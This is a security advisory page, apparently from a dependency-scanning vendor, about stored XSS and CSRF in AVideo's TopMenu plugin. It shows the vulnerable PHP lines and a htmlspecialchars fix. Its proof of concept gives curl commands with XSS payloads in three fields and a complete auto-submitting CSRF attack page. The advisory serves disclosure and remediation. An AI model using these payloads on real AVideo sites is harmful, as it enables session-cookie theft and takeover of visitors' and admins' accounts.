Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist

GHSA-gmpc-fxg2-vcmq

MEDIUM

AVideo has Stored XSS via Unescaped Menu Item Fields in TopMenu Plugin

Published
Apr 1, 2026
Updated
Apr 2, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

Blast Radius

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The TopMenu plugin renders menu item fields (icon classes, URLs, and text labels) directly into HTML without applying htmlspecialchars() or any other output encoding. Since menu items are rendered on every public page through plugin hooks, a single malicious menu entry results in stored cross-site scripting that executes for every visitor to the site. An admin user who is tricked into saving a crafted menu item (or an attacker who gains admin access) can compromise all site visitors.

Details

Multiple output locations in the TopMenu plugin render user-controlled data without escaping:

In HTMLMenuRight.php:24, the icon class is injected directly:

<i class="<?php echo $value2['icon'] ?>"></i>

In HTMLMenuRight.php:40, the URL is rendered without encoding:

<a href="<?php echo $value2['finalURL']; ?>">

In HTMLMenuLeft.php:32, same pattern for the left menu:

<a href="<?php echo $value2['finalURL']; ?>">

In index.php:49, the menu item text is echoed raw:

<?php echo $menuItem->getText(); ?>

Menu item data is saved via menuItemSave.json.php with no sanitization in the setter methods. The stored values are loaded from the database and rendered on every page because the TopMenu plugin hooks into the global page layout.

Critically, menuItemSave.json.php has no CSRF protection. It checks User::isAdmin() but does not call isGlobalTokenValid() or perform any other CSRF token validation. This means the stored XSS can be chained with CSRF: an attacker does not need a compromised admin account. Instead, a cross-origin POST from an attacker-controlled page can create the malicious menu item if an admin visits the attacker's page while logged in.

Proof of Concept

  1. As an admin user, save a menu item with a malicious icon class:
curl -b "PHPSESSID=ADMIN_SESSION" \
  -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
  -d 'icon=fa-home" onmouseover="alert(document.cookie)&text=Home&url=/&status=a'
  1. Alternatively, inject via the URL field to create a JavaScript link:
curl -b "PHPSESSID=ADMIN_SESSION" \
  -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
  -d 'icon=fa-link&text=Click+Me&url=javascript:alert(document.cookie)&status=a'
  1. Alternatively, inject via the text field:
curl -b "PHPSESSID=ADMIN_SESSION" \
  -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
  -d 'icon=fa-home&text=<script>alert(document.cookie)</script>&url=/&status=a'
  1. Alternatively, chain with CSRF (no admin account needed). Host this HTML on an attacker-controlled domain and lure an admin to visit it:
<!DOCTYPE html>
<html>
<head><title>AVI-041 CSRF + Stored XSS PoC</title></head>
<body>
<h1>Loading...</h1>
<iframe name="f1" style="display:none"></iframe>
<form id="inject" method="POST" target="f1"
      action="https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php">
  <input type="hidden" name="menuId" value="1" />
  <input type="hidden" name="item_order" value="99" />
  <input type="hidden" name="item_status" value="a" />
  <input type="hidden" name="text" value="&lt;script&gt;alert(document.cookie)&lt;/script&gt;" />
  <input type="hidden" name="title" value="Home" />
  <input type="hidden" name="url" value="/" />
  <input type="hidden" name="icon" value="fa-home" />
  <input type="hidden" name="menuSeoUrlItem" value="" />
</form>
<script>document.getElementById('inject').submit();</script>
</body>
</html>

The cross-origin POST creates the malicious menu item because menuItemSave.json.php has no CSRF token validation.

  1. Visit any page on the AVideo instance:
curl "https://your-avideo-instance.com/"
  1. The injected JavaScript executes in the context of every visitor's browser session because the menu is rendered on all pages.

Impact

Stored cross-site scripting on every page of the AVideo instance. An attacker can steal session cookies, redirect users to phishing pages, modify page content, or perform actions on behalf of authenticated users (including admins). Because the menu renders globally, a single injection point compromises all visitors to the site.

Recommended Fix

Apply htmlspecialchars() with ENT_QUOTES to all outputs of $value2['finalURL'], $value2['icon'], and $menuItem->getText() in the TopMenu plugin templates:

// HTMLMenuRight.php:24
<i class="<?php echo htmlspecialchars($value2['icon'], ENT_QUOTES, 'UTF-8'); ?>"></i>

// HTMLMenuRight.php:40
<a href="<?php echo htmlspecialchars($value2['finalURL'], ENT_QUOTES, 'UTF-8'); ?>">

// HTMLMenuLeft.php:32
<a href="<?php echo htmlspecialchars($value2['finalURL'], ENT_QUOTES, 'UTF-8'); ?>">

// floatMenu.php - same pattern for any $value2['icon'] and $value2['finalURL'] outputs
// index.php:49
<?php echo htmlspecialchars($menuItem->getText(), ENT_QUOTES, 'UTF-8'); ?>

Apply the same encoding to every location in HTMLMenuRight.php, HTMLMenuLeft.php, floatMenu.php, and index.php where these values are echoed into HTML.

Found by aisafe.io

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for GHSA-gmpc-fxg2-vcmq yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-gmpc-fxg2-vcmq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-gmpc-fxg2-vcmq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The TopMenu plugin renders menu item fields (icon classes, URLs, and text labels) directly into HTML without applying `htmlspecialchars()` or any other output encoding. Since menu items are rendered on every public page through plugin hooks, a single malicious menu entry results in stored cross-site scripting that executes for every visitor to the site. An admin user who is tricked into saving a crafted menu item (or an attacker who gains admin access) can compromise all site visitors. ## Details Multiple output locations in the TopMenu plugin render user-controlled data without
O3 Security · Impact-Aware SCA

Is GHSA-gmpc-fxg2-vcmq in your dependencies?

O3 detects GHSA-gmpc-fxg2-vcmq across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works